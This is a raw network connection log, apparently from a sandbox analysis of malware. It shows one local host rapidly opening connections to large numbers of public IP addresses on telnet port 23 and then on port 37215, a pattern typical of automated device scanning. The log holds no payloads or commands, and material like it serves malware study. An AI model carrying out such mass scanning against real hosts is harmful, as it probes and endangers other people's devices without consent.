Dec 3, 2024 22:02:00.986229897 CET	39808	23	192.168.2.14	182.112.23.245
Dec 3, 2024 22:02:00.986255884 CET	23	39808	50.23.168.94	192.168.2.14
Dec 3, 2024 22:02:00.986264944 CET	23	39808	155.214.134.11	192.168.2.14
Dec 3, 2024 22:02:00.986279011 CET	23	39808	124.66.203.218	192.168.2.14
Dec 3, 2024 22:02:00.986289978 CET	39808	23	192.168.2.14	50.23.168.94
Dec 3, 2024 22:02:00.986294031 CET	23	39808	66.115.118.77	192.168.2.14
Dec 3, 2024 22:02:00.986296892 CET	39808	23	192.168.2.14	155.214.134.11
Dec 3, 2024 22:02:00.986303091 CET	39808	23	192.168.2.14	124.66.203.218
Dec 3, 2024 22:02:00.986331940 CET	39808	23	192.168.2.14	66.115.118.77
Dec 3, 2024 22:02:00.986335039 CET	23	39808	73.137.1.150	192.168.2.14
Dec 3, 2024 22:02:00.986351013 CET	23	39808	25.223.63.176	192.168.2.14
Dec 3, 2024 22:02:00.986366034 CET	39808	23	192.168.2.14	73.137.1.150
Dec 3, 2024 22:02:00.986375093 CET	23	39808	154.91.35.210	192.168.2.14
Dec 3, 2024 22:02:00.986378908 CET	39808	23	192.168.2.14	25.223.63.176
Dec 3, 2024 22:02:00.986386061 CET	23	39808	85.188.158.213	192.168.2.14
Dec 3, 2024 22:02:00.986407995 CET	39808	23	192.168.2.14	154.91.35.210
Dec 3, 2024 22:02:00.986408949 CET	39808	23	192.168.2.14	85.188.158.213
Dec 3, 2024 22:02:00.986413956 CET	23	39808	57.77.79.213	192.168.2.14
Dec 3, 2024 22:02:00.986430883 CET	23	39808	190.154.182.166	192.168.2.14
Dec 3, 2024 22:02:00.986454964 CET	39808	23	192.168.2.14	190.154.182.166
Dec 3, 2024 22:02:00.986457109 CET	39808	23	192.168.2.14	57.77.79.213
Dec 3, 2024 22:02:00.986488104 CET	23	39808	180.28.106.176	192.168.2.14
Dec 3, 2024 22:02:00.986499071 CET	23	39808	149.6.49.115	192.168.2.14
Dec 3, 2024 22:02:00.986521006 CET	39808	23	192.168.2.14	180.28.106.176
Dec 3, 2024 22:02:00.986521006 CET	39808	23	192.168.2.14	149.6.49.115
Dec 3, 2024 22:02:00.986603975 CET	23	39808	53.45.88.145	192.168.2.14
Dec 3, 2024 22:02:00.986613989 CET	23	39808	171.228.226.194	192.168.2.14
Dec 3, 2024 22:02:00.986637115 CET	39808	23	192.168.2.14	53.45.88.145
Dec 3, 2024 22:02:00.986645937 CET	39808	23	192.168.2.14	171.228.226.194
Dec 3, 2024 22:02:00.986761093 CET	23	39808	192.222.129.193	192.168.2.14
Dec 3, 2024 22:02:00.986771107 CET	23	39808	66.14.218.156	192.168.2.14
Dec 3, 2024 22:02:00.986774921 CET	23	39808	32.223.212.50	192.168.2.14
Dec 3, 2024 22:02:00.986783981 CET	23	39808	184.159.152.247	192.168.2.14
Dec 3, 2024 22:02:00.986800909 CET	39808	23	192.168.2.14	66.14.218.156
Dec 3, 2024 22:02:00.986814976 CET	39808	23	192.168.2.14	32.223.212.50
Dec 3, 2024 22:02:00.986814976 CET	39808	23	192.168.2.14	192.222.129.193
Dec 3, 2024 22:02:00.986818075 CET	39808	23	192.168.2.14	184.159.152.247
Dec 3, 2024 22:02:00.987468004 CET	23	39808	172.94.77.167	192.168.2.14
Dec 3, 2024 22:02:00.987503052 CET	39808	23	192.168.2.14	172.94.77.167
Dec 3, 2024 22:02:00.987663984 CET	23	39808	108.154.226.159	192.168.2.14
Dec 3, 2024 22:02:00.987695932 CET	39808	23	192.168.2.14	108.154.226.159
Dec 3, 2024 22:02:00.987746000 CET	23	39808	123.161.17.2	192.168.2.14
Dec 3, 2024 22:02:00.987756968 CET	23	39808	213.157.122.198	192.168.2.14
Dec 3, 2024 22:02:00.987777948 CET	23	39808	115.25.115.210	192.168.2.14
Dec 3, 2024 22:02:00.987777948 CET	39808	23	192.168.2.14	123.161.17.2
Dec 3, 2024 22:02:00.987786055 CET	39808	23	192.168.2.14	213.157.122.198
Dec 3, 2024 22:02:00.987793922 CET	23	39808	133.205.229.232	192.168.2.14
Dec 3, 2024 22:02:00.987809896 CET	23	39808	179.208.173.24	192.168.2.14
Dec 3, 2024 22:02:00.987812042 CET	39808	23	192.168.2.14	115.25.115.210
Dec 3, 2024 22:02:00.987833023 CET	23	39808	160.164.86.179	192.168.2.14
Dec 3, 2024 22:02:00.987839937 CET	39808	23	192.168.2.14	133.205.229.232
Dec 3, 2024 22:02:00.987843990 CET	23	39808	163.154.219.202	192.168.2.14
Dec 3, 2024 22:02:00.987853050 CET	23	39808	94.91.233.190	192.168.2.14
Dec 3, 2024 22:02:00.987858057 CET	39808	23	192.168.2.14	179.208.173.24
Dec 3, 2024 22:02:00.987869978 CET	39808	23	192.168.2.14	160.164.86.179
Dec 3, 2024 22:02:00.987875938 CET	39808	23	192.168.2.14	163.154.219.202
Dec 3, 2024 22:02:00.987878084 CET	23	39808	139.65.236.86	192.168.2.14
Dec 3, 2024 22:02:00.987884045 CET	39808	23	192.168.2.14	94.91.233.190
Dec 3, 2024 22:02:00.987890959 CET	23	39808	148.17.6.213	192.168.2.14
Dec 3, 2024 22:02:00.987900019 CET	23	39808	199.203.139.194	192.168.2.14
Dec 3, 2024 22:02:00.987912893 CET	39808	23	192.168.2.14	139.65.236.86
Dec 3, 2024 22:02:00.987920046 CET	39808	23	192.168.2.14	148.17.6.213
Dec 3, 2024 22:02:00.987926006 CET	39808	23	192.168.2.14	199.203.139.194
Dec 3, 2024 22:02:00.987931013 CET	23	39808	39.207.162.80	192.168.2.14
Dec 3, 2024 22:02:00.987965107 CET	39808	23	192.168.2.14	39.207.162.80
Dec 3, 2024 22:02:00.988008976 CET	23	39808	120.102.98.149	192.168.2.14
Dec 3, 2024 22:02:00.988050938 CET	39808	23	192.168.2.14	120.102.98.149
Dec 3, 2024 22:02:00.988281965 CET	23	39808	165.63.230.118	192.168.2.14
Dec 3, 2024 22:02:00.988295078 CET	23	39808	107.69.20.248	192.168.2.14
Dec 3, 2024 22:02:00.988310099 CET	23	39808	176.1.170.245	192.168.2.14
Dec 3, 2024 22:02:00.988322973 CET	39808	23	192.168.2.14	107.69.20.248
Dec 3, 2024 22:02:00.988325119 CET	39808	23	192.168.2.14	165.63.230.118
Dec 3, 2024 22:02:00.988333941 CET	39808	23	192.168.2.14	176.1.170.245
Dec 3, 2024 22:02:00.988349915 CET	23	39808	185.125.252.177	192.168.2.14
Dec 3, 2024 22:02:00.988368988 CET	23	39808	102.80.135.208	192.168.2.14
Dec 3, 2024 22:02:00.988385916 CET	23	39808	95.111.242.93	192.168.2.14
Dec 3, 2024 22:02:00.988389015 CET	39808	23	192.168.2.14	185.125.252.177
Dec 3, 2024 22:02:00.988395929 CET	23	39808	162.70.178.30	192.168.2.14
Dec 3, 2024 22:02:00.988400936 CET	39808	23	192.168.2.14	102.80.135.208
Dec 3, 2024 22:02:00.988415956 CET	39808	23	192.168.2.14	95.111.242.93
Dec 3, 2024 22:02:00.988423109 CET	23	39808	39.16.190.172	192.168.2.14
Dec 3, 2024 22:02:00.988426924 CET	39808	23	192.168.2.14	162.70.178.30
Dec 3, 2024 22:02:00.988451004 CET	23	39808	211.69.129.79	192.168.2.14
Dec 3, 2024 22:02:00.988456964 CET	39808	23	192.168.2.14	39.16.190.172
Dec 3, 2024 22:02:00.988461018 CET	23	39808	89.59.242.7	192.168.2.14
Dec 3, 2024 22:02:00.988481045 CET	39808	23	192.168.2.14	211.69.129.79
Dec 3, 2024 22:02:00.988492012 CET	39808	23	192.168.2.14	89.59.242.7
Dec 3, 2024 22:02:00.988507986 CET	23	39808	143.117.223.204	192.168.2.14
Dec 3, 2024 22:02:00.988518000 CET	23	39808	88.97.68.174	192.168.2.14
Dec 3, 2024 22:02:00.988526106 CET	23	39808	53.237.131.141	192.168.2.14
Dec 3, 2024 22:02:00.988543034 CET	39808	23	192.168.2.14	143.117.223.204
Dec 3, 2024 22:02:00.988547087 CET	39808	23	192.168.2.14	88.97.68.174
Dec 3, 2024 22:02:00.988560915 CET	39808	23	192.168.2.14	53.237.131.141
Dec 3, 2024 22:02:00.989135027 CET	23	39808	105.46.1.112	192.168.2.14
Dec 3, 2024 22:02:00.989170074 CET	39808	23	192.168.2.14	105.46.1.112
Dec 3, 2024 22:02:00.989176989 CET	23	39808	25.0.196.199	192.168.2.14
Dec 3, 2024 22:02:00.989187002 CET	23	39808	112.225.79.181	192.168.2.14
Dec 3, 2024 22:02:00.989212036 CET	39808	23	192.168.2.14	25.0.196.199
Dec 3, 2024 22:02:00.989212990 CET	23	39808	37.34.136.107	192.168.2.14
Dec 3, 2024 22:02:00.989213943 CET	39808	23	192.168.2.14	112.225.79.181
Dec 3, 2024 22:02:00.989239931 CET	23	39808	147.110.241.147	192.168.2.14
Dec 3, 2024 22:02:00.989248037 CET	39808	23	192.168.2.14	37.34.136.107
Dec 3, 2024 22:02:00.989253044 CET	23	39808	92.197.108.190	192.168.2.14
Dec 3, 2024 22:02:00.989263058 CET	23	39808	179.148.242.201	192.168.2.14
Dec 3, 2024 22:02:00.989273071 CET	39808	23	192.168.2.14	147.110.241.147
Dec 3, 2024 22:02:00.989279032 CET	39808	23	192.168.2.14	92.197.108.190
Dec 3, 2024 22:02:00.989293098 CET	39808	23	192.168.2.14	179.148.242.201
Dec 3, 2024 22:02:00.989305973 CET	23	39808	45.38.219.202	192.168.2.14
Dec 3, 2024 22:02:00.989335060 CET	39808	23	192.168.2.14	45.38.219.202
Dec 3, 2024 22:02:00.989458084 CET	23	39808	27.9.185.49	192.168.2.14
Dec 3, 2024 22:02:00.989468098 CET	23	39808	205.127.61.13	192.168.2.14
Dec 3, 2024 22:02:00.989478111 CET	23	39808	169.29.224.24	192.168.2.14
Dec 3, 2024 22:02:00.989490032 CET	39808	23	192.168.2.14	27.9.185.49
Dec 3, 2024 22:02:00.989494085 CET	39808	23	192.168.2.14	205.127.61.13
Dec 3, 2024 22:02:00.989496946 CET	39808	23	192.168.2.14	169.29.224.24
Dec 3, 2024 22:02:00.989505053 CET	23	39808	190.238.17.67	192.168.2.14
Dec 3, 2024 22:02:00.989516020 CET	23	39808	98.170.193.66	192.168.2.14
Dec 3, 2024 22:02:00.989542007 CET	39808	23	192.168.2.14	190.238.17.67
Dec 3, 2024 22:02:00.989545107 CET	39808	23	192.168.2.14	98.170.193.66
Dec 3, 2024 22:02:00.989579916 CET	23	39808	211.95.211.58	192.168.2.14
Dec 3, 2024 22:02:00.989617109 CET	39808	23	192.168.2.14	211.95.211.58
Dec 3, 2024 22:02:00.989696980 CET	23	39808	160.111.90.220	192.168.2.14
Dec 3, 2024 22:02:00.989706993 CET	23	39808	1.230.10.66	192.168.2.14
Dec 3, 2024 22:02:00.989726067 CET	23	39808	75.54.151.23	192.168.2.14
Dec 3, 2024 22:02:00.989732027 CET	39808	23	192.168.2.14	160.111.90.220
Dec 3, 2024 22:02:00.989739895 CET	39808	23	192.168.2.14	1.230.10.66
Dec 3, 2024 22:02:00.989758968 CET	39808	23	192.168.2.14	75.54.151.23
Dec 3, 2024 22:02:00.989790916 CET	23	39808	193.102.59.233	192.168.2.14
Dec 3, 2024 22:02:00.989804983 CET	23	39808	90.126.160.225	192.168.2.14
Dec 3, 2024 22:02:00.989823103 CET	39808	23	192.168.2.14	193.102.59.233
Dec 3, 2024 22:02:00.989831924 CET	39808	23	192.168.2.14	90.126.160.225
Dec 3, 2024 22:02:00.989840984 CET	23	39808	160.166.16.15	192.168.2.14
Dec 3, 2024 22:02:00.989850044 CET	23	39808	66.214.186.90	192.168.2.14
Dec 3, 2024 22:02:00.989877939 CET	23	39808	168.9.6.143	192.168.2.14
Dec 3, 2024 22:02:00.989877939 CET	39808	23	192.168.2.14	66.214.186.90
Dec 3, 2024 22:02:00.989882946 CET	39808	23	192.168.2.14	160.166.16.15
Dec 3, 2024 22:02:00.989898920 CET	23	39808	78.104.149.54	192.168.2.14
Dec 3, 2024 22:02:00.989933014 CET	39808	23	192.168.2.14	78.104.149.54
Dec 3, 2024 22:02:00.989933968 CET	39808	23	192.168.2.14	168.9.6.143
Dec 3, 2024 22:02:00.989943027 CET	23	39808	170.153.254.83	192.168.2.14
Dec 3, 2024 22:02:00.989975929 CET	39808	23	192.168.2.14	170.153.254.83
Dec 3, 2024 22:02:00.989989996 CET	23	39808	59.210.188.193	192.168.2.14
Dec 3, 2024 22:02:00.989999056 CET	23	39808	143.167.69.217	192.168.2.14
Dec 3, 2024 22:02:00.990022898 CET	39808	23	192.168.2.14	59.210.188.193
Dec 3, 2024 22:02:00.990025997 CET	39808	23	192.168.2.14	143.167.69.217
Dec 3, 2024 22:02:00.990123034 CET	23	39808	95.135.111.65	192.168.2.14
Dec 3, 2024 22:02:00.990138054 CET	23	39808	114.46.8.174	192.168.2.14
Dec 3, 2024 22:02:00.990166903 CET	39808	23	192.168.2.14	95.135.111.65
Dec 3, 2024 22:02:00.990166903 CET	39808	23	192.168.2.14	114.46.8.174
Dec 3, 2024 22:02:00.990174055 CET	23	39808	14.41.231.155	192.168.2.14
Dec 3, 2024 22:02:00.990183115 CET	23	39808	48.167.240.107	192.168.2.14
Dec 3, 2024 22:02:00.990196943 CET	23	39808	93.83.130.48	192.168.2.14
Dec 3, 2024 22:02:00.990210056 CET	39808	23	192.168.2.14	14.41.231.155
Dec 3, 2024 22:02:00.990219116 CET	23	39808	107.2.164.30	192.168.2.14
Dec 3, 2024 22:02:00.990221024 CET	39808	23	192.168.2.14	48.167.240.107
Dec 3, 2024 22:02:00.990228891 CET	39808	23	192.168.2.14	93.83.130.48
Dec 3, 2024 22:02:00.990247011 CET	39808	23	192.168.2.14	107.2.164.30
Dec 3, 2024 22:02:00.990274906 CET	23	39808	37.108.249.43	192.168.2.14
Dec 3, 2024 22:02:00.990309000 CET	39808	23	192.168.2.14	37.108.249.43
Dec 3, 2024 22:02:00.990315914 CET	23	39808	105.53.147.224	192.168.2.14
Dec 3, 2024 22:02:00.990350962 CET	39808	23	192.168.2.14	105.53.147.224
Dec 3, 2024 22:02:00.998722076 CET	23	52214	205.124.76.247	192.168.2.14
Dec 3, 2024 22:02:00.998785019 CET	52214	23	192.168.2.14	205.124.76.247
Dec 3, 2024 22:02:00.999367952 CET	58710	23	192.168.2.14	54.209.250.169
Dec 3, 2024 22:02:01.000102043 CET	38572	23	192.168.2.14	146.246.61.245
Dec 3, 2024 22:02:01.000833035 CET	59906	23	192.168.2.14	130.230.252.173
Dec 3, 2024 22:02:01.001543999 CET	34012	23	192.168.2.14	142.138.243.191
Dec 3, 2024 22:02:01.002239943 CET	54056	23	192.168.2.14	20.210.138.128
Dec 3, 2024 22:02:01.002906084 CET	60700	23	192.168.2.14	82.129.228.119
Dec 3, 2024 22:02:01.003591061 CET	60898	23	192.168.2.14	120.44.162.106
Dec 3, 2024 22:02:01.004276991 CET	41414	23	192.168.2.14	37.110.33.41
Dec 3, 2024 22:02:01.004955053 CET	34390	23	192.168.2.14	42.239.28.216
Dec 3, 2024 22:02:01.005631924 CET	45300	23	192.168.2.14	150.110.243.151
Dec 3, 2024 22:02:01.006325006 CET	36404	23	192.168.2.14	60.241.179.239
Dec 3, 2024 22:02:01.006982088 CET	57420	23	192.168.2.14	111.208.105.182
Dec 3, 2024 22:02:01.007642984 CET	23	36944	43.104.141.215	192.168.2.14
Dec 3, 2024 22:02:01.007675886 CET	45494	23	192.168.2.14	105.38.249.28
Dec 3, 2024 22:02:01.007694006 CET	36944	23	192.168.2.14	43.104.141.215
Dec 3, 2024 22:02:01.008308887 CET	41068	23	192.168.2.14	115.44.115.201
Dec 3, 2024 22:02:01.008924961 CET	38904	23	192.168.2.14	31.254.18.225
Dec 3, 2024 22:02:01.009533882 CET	60640	23	192.168.2.14	182.112.23.245
Dec 3, 2024 22:02:01.010138988 CET	60252	23	192.168.2.14	50.23.168.94
Dec 3, 2024 22:02:01.010732889 CET	47624	23	192.168.2.14	155.214.134.11
Dec 3, 2024 22:02:01.011328936 CET	52970	23	192.168.2.14	124.66.203.218
Dec 3, 2024 22:02:01.011939049 CET	33182	23	192.168.2.14	66.115.118.77
Dec 3, 2024 22:02:01.012583017 CET	48888	23	192.168.2.14	73.137.1.150
Dec 3, 2024 22:02:01.013206005 CET	42716	23	192.168.2.14	25.223.63.176
Dec 3, 2024 22:02:01.013793945 CET	42522	23	192.168.2.14	154.91.35.210
Dec 3, 2024 22:02:01.014410973 CET	39190	23	192.168.2.14	85.188.158.213
Dec 3, 2024 22:02:01.015002012 CET	50052	23	192.168.2.14	57.77.79.213
Dec 3, 2024 22:02:01.015347958 CET	23	45474	70.214.28.66	192.168.2.14
Dec 3, 2024 22:02:01.015383959 CET	45474	23	192.168.2.14	70.214.28.66
Dec 3, 2024 22:02:01.015587091 CET	51738	23	192.168.2.14	190.154.182.166
Dec 3, 2024 22:02:01.016231060 CET	60486	23	192.168.2.14	180.28.106.176
Dec 3, 2024 22:02:01.016839027 CET	52336	23	192.168.2.14	149.6.49.115
Dec 3, 2024 22:02:01.017498016 CET	40634	23	192.168.2.14	53.45.88.145
Dec 3, 2024 22:02:01.018132925 CET	33626	23	192.168.2.14	171.228.226.194
Dec 3, 2024 22:02:01.018745899 CET	44688	23	192.168.2.14	66.14.218.156
Dec 3, 2024 22:02:01.033833027 CET	46988	23	192.168.2.14	32.223.212.50
Dec 3, 2024 22:02:01.034485102 CET	48592	23	192.168.2.14	192.222.129.193
Dec 3, 2024 22:02:01.037952900 CET	23	59564	90.220.126.41	192.168.2.14
Dec 3, 2024 22:02:01.037992954 CET	59564	23	192.168.2.14	90.220.126.41
Dec 3, 2024 22:02:01.038402081 CET	23	44246	181.162.98.154	192.168.2.14
Dec 3, 2024 22:02:01.038440943 CET	44246	23	192.168.2.14	181.162.98.154
Dec 3, 2024 22:02:01.047765017 CET	23	59774	73.215.30.204	192.168.2.14
Dec 3, 2024 22:02:01.047807932 CET	59774	23	192.168.2.14	73.215.30.204
Dec 3, 2024 22:02:01.055340052 CET	23	39178	154.19.5.90	192.168.2.14
Dec 3, 2024 22:02:01.055388927 CET	39178	23	192.168.2.14	154.19.5.90
Dec 3, 2024 22:02:01.119216919 CET	23	58710	54.209.250.169	192.168.2.14
Dec 3, 2024 22:02:01.119322062 CET	58710	23	192.168.2.14	54.209.250.169
Dec 3, 2024 22:02:01.120037079 CET	23	38572	146.246.61.245	192.168.2.14
Dec 3, 2024 22:02:01.120084047 CET	38572	23	192.168.2.14	146.246.61.245
Dec 3, 2024 22:02:01.120662928 CET	23	59906	130.230.252.173	192.168.2.14
Dec 3, 2024 22:02:01.120717049 CET	59906	23	192.168.2.14	130.230.252.173
Dec 3, 2024 22:02:01.121419907 CET	23	34012	142.138.243.191	192.168.2.14
Dec 3, 2024 22:02:01.121462107 CET	34012	23	192.168.2.14	142.138.243.191
Dec 3, 2024 22:02:01.122165918 CET	23	54056	20.210.138.128	192.168.2.14
Dec 3, 2024 22:02:01.122209072 CET	54056	23	192.168.2.14	20.210.138.128
Dec 3, 2024 22:02:01.122906923 CET	23	60700	82.129.228.119	192.168.2.14
Dec 3, 2024 22:02:01.122946024 CET	60700	23	192.168.2.14	82.129.228.119
Dec 3, 2024 22:02:01.127908945 CET	23	45494	105.38.249.28	192.168.2.14
Dec 3, 2024 22:02:01.127949953 CET	45494	23	192.168.2.14	105.38.249.28
Dec 3, 2024 22:02:01.135529041 CET	23	51738	190.154.182.166	192.168.2.14
Dec 3, 2024 22:02:01.135572910 CET	51738	23	192.168.2.14	190.154.182.166
Dec 3, 2024 22:02:01.153724909 CET	23	46988	32.223.212.50	192.168.2.14
Dec 3, 2024 22:02:01.153764963 CET	46988	23	192.168.2.14	32.223.212.50
Dec 3, 2024 22:02:01.892185926 CET	40832	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:01.892185926 CET	40832	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:01.892185926 CET	40832	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:01.892196894 CET	40832	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:01.892185926 CET	40832	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:01.892194986 CET	40832	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:01.892196894 CET	40832	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:01.892196894 CET	40832	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:01.892194986 CET	40832	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:01.892196894 CET	40832	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:01.892196894 CET	40832	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:01.892196894 CET	40832	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:01.892194986 CET	40832	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:01.892191887 CET	40832	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:01.892188072 CET	40832	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:01.892230988 CET	40832	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:01.892230988 CET	40832	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:01.892230988 CET	40832	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:01.892230988 CET	40832	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:01.892230988 CET	40832	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:01.892230988 CET	40832	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:01.892239094 CET	40832	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:01.892242908 CET	40832	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:01.892246008 CET	40832	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:01.892246008 CET	40832	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:01.892246008 CET	40832	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:01.892246008 CET	40832	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:01.892246008 CET	40832	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:01.892246008 CET	40832	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:01.892246962 CET	40832	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:01.892252922 CET	40832	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:01.892252922 CET	40832	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:01.892252922 CET	40832	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:01.892254114 CET	40832	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:01.892254114 CET	40832	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:01.892254114 CET	40832	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:01.892254114 CET	40832	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:01.892254114 CET	40832	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:01.892271042 CET	40832	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:01.892271042 CET	40832	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:01.892271042 CET	40832	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:01.892271042 CET	40832	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:01.892277002 CET	40832	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:01.892277002 CET	40832	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:01.892277002 CET	40832	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:01.892277002 CET	40832	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:01.892277002 CET	40832	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:01.892277002 CET	40832	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:01.892277002 CET	40832	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:01.892302990 CET	40832	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:01.892302990 CET	40832	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:01.892302990 CET	40832	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:01.892302990 CET	40832	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:01.892302990 CET	40832	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:01.892302990 CET	40832	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:01.892303944 CET	40832	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:01.892303944 CET	40832	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	41.2.43.41
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	41.94.193.30
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	41.47.124.24
Dec 3, 2024 22:02:01.892319918 CET	40832	37215	192.168.2.14	197.233.28.186
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	197.222.18.44
Dec 3, 2024 22:02:01.892319918 CET	40832	37215	192.168.2.14	41.242.75.232
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	41.93.59.54
Dec 3, 2024 22:02:01.892319918 CET	40832	37215	192.168.2.14	41.208.222.152
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	156.3.70.177
Dec 3, 2024 22:02:01.892319918 CET	40832	37215	192.168.2.14	41.185.142.88
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	197.181.255.215
Dec 3, 2024 22:02:01.892319918 CET	40832	37215	192.168.2.14	156.240.185.163
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	197.80.86.134
Dec 3, 2024 22:02:01.892319918 CET	40832	37215	192.168.2.14	41.52.180.84
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	41.175.14.67
Dec 3, 2024 22:02:01.892318964 CET	40832	37215	192.168.2.14	41.40.128.138
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	41.102.227.213
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	156.7.18.16
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	41.252.70.243
Dec 3, 2024 22:02:01.892333984 CET	40832	37215	192.168.2.14	41.231.108.52
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	156.102.56.80
Dec 3, 2024 22:02:01.892335892 CET	40832	37215	192.168.2.14	156.37.249.154
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	197.234.188.120
Dec 3, 2024 22:02:01.892338037 CET	40832	37215	192.168.2.14	41.167.43.194
Dec 3, 2024 22:02:01.892332077 CET	40832	37215	192.168.2.14	41.218.160.104
Dec 3, 2024 22:02:01.892338037 CET	40832	37215	192.168.2.14	197.178.15.138
